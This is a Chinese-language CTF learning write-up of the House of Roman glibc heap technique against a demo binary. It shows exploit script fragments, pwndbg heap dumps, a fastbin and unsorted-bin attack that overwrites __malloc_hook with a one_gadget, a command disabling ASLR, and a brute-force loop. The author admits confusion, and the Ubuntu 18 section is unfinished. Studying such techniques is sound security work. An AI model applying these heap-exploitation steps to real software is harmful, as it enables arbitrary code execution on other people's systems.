Contents
  1. 1. house of roman介绍
    1. 1.1. 利用条件
    2. 1.2. 原理
  2. 2. demo
    1. 2.1. 分析
    2. 2.2. 利用
      1. 2.2.1. 环境:ubuntu16
      2. 2.2.2. 环境:ubuntu18

house of roman介绍

利用条件

UAF漏洞以及能创建任意大小的chunk

原理

fastbin attack + unsortedbin attack。该技术用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的。

demo

分析

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

ida
Write函数中

Free函数中

Malloc函数可以malloc任意size的chunk,且存在uaf漏洞,可以使用house of roman

利用

开始下载libc是2.24就直接用了18,看着调试…发现调试出来的结果不一样…才想到人家用的是16系统调试的

先关闭ASLR进行调试观察,再打开修改脚本

1
sudo sh -c "echo  0 > /proc/sys/kernel/randomize_va_space"

环境:ubuntu16

1.创建0, 1, 2三个chunk,并在chunk1中先伪造一个小的chunk

1
2
3
4
Malloc(0x18, 0)	#0x20,为了能够复用下一级chunk的prev_size
Malloc(0xc8, 1) #0xd0
Malloc(0x65, 2) #0x70
Write(1, "A" * 0x68 + p64(0x61))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x555555757020
0x555555757020: 0x0000000000000000 0x00000000000000d1 ==> chunk1
0x555555757030: 0x4141414141414141 0x4141414141414141
0x555555757040: 0x4141414141414141 0x4141414141414141
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x4141414141414141 0x4141414141414141
0x555555757070: 0x4141414141414141 0x4141414141414141
0x555555757080: 0x4141414141414141 0x4141414141414141
0x555555757090: 0x4141414141414141 0x0000000000000061 ==> fake chunk size
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000071 ==> chunk2
0x555555757100: 0x0000000000000000 0x0000000000000000

2.将chunk1释放后,fd bk变为main_arena+88

1
2
3
4
5
6
7
8
0x555555757020 PREV_INUSE {
prev_size = 0,
size = 209,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141
}

3.再次申请chunk1,大小与原来一样,chunk3, chunk15, chunk18,大小均为0x70

1
2
3
Malloc(0x65, 3)
Malloc(0x65, 15)
Malloc(0x65, 18)

4.向chunk0中写入,并利用off-by-one漏洞将chunk1的size覆盖为0x71

1
2
3
4
5
6
7
8
0x555555757020 FASTBIN {
prev_size = 4702111234474983745,
size = 113, ==>chunk1的size成功被修改为0x71
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7ffff7dd1b78 <main_arena+88>,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141
}

5.将chunk2和chunk3释放,利用uaf漏洞将chunk3的fd位低字节修改为0x20,fd原本指向0x5555557570f0(chunk2),现在指向chunk1,chunk1被放入fastbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x555555757160 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x555555757020,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> fastbin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0

6.再次利用Write将chunk1的fd低两位修改为'\xed\x1a'<malloc_hook - 0x23>,这是为了利用fastbins dup获得包含malloc_hook的chunk。
其中__malloc_hook的地址为:

1
2
3
4
5
6
7
8
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>
pwndbg> x/10gx 0x7ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f ==> __malloc_hook - 0x23 + 0x8 处为0x7f,可以绕过检测???
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000

7.连续分配三次大小为0x70的chunk,就可以获得包含__malloc_hook的chunk了

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/10xg 0x555555756160
0x555555756160: 0x00007ffff7dd1afd 0x0000555555757030
0x555555756170: 0x0000555555757100 0x0000555555757170
0x555555756180: 0x0000000000000000 0x0000000000000000
0x555555756190: 0x0000000000000000 0x0000000000000000
0x5555557561a0: 0x0000000000000000 0x0000000000000000

pwndbg> x/10gx 0x00007ffff7dd1af0
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000

8.利用unsorted bin attack,向__malloc_hook中写入main_arena+0x88,使__malloc_hook中包含libc地址

1
2
3
4
5
6
7
8
0x555555757380 PREV_INUSE {     //新的chunk1
prev_size = 0,
size = 209,
fd = 0x4242424242424242,
bk = 0x7ffff7dd1b00 <__memalign_hook>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

9.修改chunk0,将__malloc_hook的低三位修改为one_gadget【这个的地址…我不是很理解】

1
2
3
4
5
6
pwndbg> x/10gx 0x7ffff7dd1af0
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x5252520000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x5252525252525252 0x5252525252525252
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7afd2a4 0x0000000000000000 ==>后三位被覆盖
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000

10.连续free两次同一个chunk,触发malloc_printerr


这样本地可以成功了,我们把ASLR打开
写一个repeat.sh批量执行脚本,但攻击成功存在偶然性…

1
2
#!/bin/bash
for i in `seq 1 5000`; do python exp.py; done;

这个挺麻烦的…但是最后还是成功了

还存疑很多,也需要自己独立写脚本试试

环境:ubuntu18

后期探索…先打比赛去了dbq

参考:House of Roman 实战
house_of_roman——zs0zrc